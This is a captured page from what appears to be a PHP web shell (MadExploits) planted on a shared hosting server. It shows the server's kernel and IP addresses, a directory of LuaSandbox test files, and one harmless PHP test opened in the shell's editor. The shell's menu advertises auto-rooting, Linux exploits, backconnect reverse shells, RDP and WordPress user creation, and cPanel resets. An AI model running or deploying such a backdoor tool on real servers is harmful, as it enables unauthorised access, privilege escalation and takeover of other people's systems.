Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.144.248.178
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
tests /
alt-php82-pecl-luasandbox_4.1.2-2.el8 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
LuaSandboxFunction_construct.p...
253
B
-rw-r--r--
array-key-conversion.phpt
3.11
KB
-rw-r--r--
call.phpt
5.1
KB
-rw-r--r--
callback_exception.phpt
392
B
-rw-r--r--
datatypes-unsupported.phpt
2.78
KB
-rw-r--r--
datatypes.phpt
2.43
KB
-rw-r--r--
dump_loadBinary_call.phpt
393
B
-rw-r--r--
errors-at-call-boundaries.phpt
1.98
KB
-rw-r--r--
extending-LuaSandbox.phpt
845
B
-rw-r--r--
ipairs.phpt
1.53
KB
-rw-r--r--
loadString.phpt
334
B
-rw-r--r--
lua_catches_php_exception.phpt
1.34
KB
-rw-r--r--
pairs.phpt
3.31
KB
-rw-r--r--
pcall.phpt
1.27
KB
-rw-r--r--
profiler-sorting.phpt
1.18
KB
-rw-r--r--
profiler.phpt
1.54
KB
-rw-r--r--
reentrant.phpt
1.1
KB
-rw-r--r--
xpcall.phpt
2.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : datatypes-unsupported.phpt
--TEST-- Handling of unsupported datatypes --FILE-- <?php function doTest( $test, $data ) { printf( "%s ", "$test (call PHP->Lua):" ); $sandbox = new LuaSandbox; $sandbox->setMemoryLimit( 100000 ); $sandbox->setCPULimit( 0.1 ); try { $ret = $sandbox->loadString( 'return 1' )->call( $data ); printf( "%s\n", preg_replace( '/\s+/', ' ', var_export( $ret, 1 ) ) ); } catch ( LuaSandboxError $e ) { printf( "EXCEPTION: %s\n", $e->getMessage() ); } printf( "%s ", "$test (return PHP->Lua):" ); $sandbox = new LuaSandbox; $sandbox->setMemoryLimit( 100000 ); $sandbox->setCPULimit( 0.1 ); $f = $sandbox->wrapPhpFunction( function () use ( $data ) { return [ $data ]; } ); try { $sandbox->loadString( 'local f = ...; f()' )->call( $f ); printf( "%s\n", preg_replace( '/\s+/', ' ', var_export( $ret, 1 ) ) ); } catch ( LuaSandboxError $e ) { printf( "EXCEPTION: %s\n", $e->getMessage() ); } } function doTest2( $test, $lua ) { printf( "%s ", "$test (call Lua->PHP):" ); $sandbox = new LuaSandbox; $sandbox->setMemoryLimit( 100000 ); $sandbox->setCPULimit( 0.1 ); $f = $sandbox->wrapPhpFunction( function ( $val ) { echo "PHP received " . preg_replace( '/\s+/', ' ', var_export( $val, 1 ) ) . "\n"; } ); try { $sandbox->loadString( "local f = ...\n$lua\nf(v)" )->call( $f ); } catch ( LuaSandboxError $e ) { printf( "EXCEPTION: %s\n", $e->getMessage() ); } printf( "%s ", "$test (return Lua->PHP):" ); $sandbox = new LuaSandbox; $sandbox->setMemoryLimit( 100000 ); $sandbox->setCPULimit( 0.1 ); try { $ret = $sandbox->loadString( "$lua\nreturn v" )->call(); printf( "%s\n", preg_replace( '/\s+/', ' ', var_export( $ret, 1 ) ) ); } catch ( LuaSandboxError $e ) { printf( "EXCEPTION: %s\n", $e->getMessage() ); } } $test = array(); $test['foo'] = &$test; doTest( 'recursive array', $test ); $test = new stdClass; doTest( 'object', $test ); doTest2( 'recursive table', 'v = {}; v.v = v' ); --EXPECTF-- recursive array (call PHP->Lua): %AWarning: LuaSandboxFunction::call(): Cannot pass circular reference to Lua in %s on line %d %AWarning: LuaSandboxFunction::call(): unable to convert argument 1 to a lua value in %s on line %d false recursive array (return PHP->Lua): %AWarning: LuaSandboxFunction::call(): Cannot pass circular reference to Lua in %s on line %d false object (call PHP->Lua): %AWarning: LuaSandboxFunction::call(): Unable to convert object of type stdClass in %s on line %d %AWarning: LuaSandboxFunction::call(): unable to convert argument 1 to a lua value in %s on line %d false object (return PHP->Lua): %AWarning: LuaSandboxFunction::call(): Unable to convert object of type stdClass in %s on line %d false recursive table (call Lua->PHP): EXCEPTION: Cannot pass circular reference to PHP recursive table (return Lua->PHP): EXCEPTION: Cannot pass circular reference to PHP
Close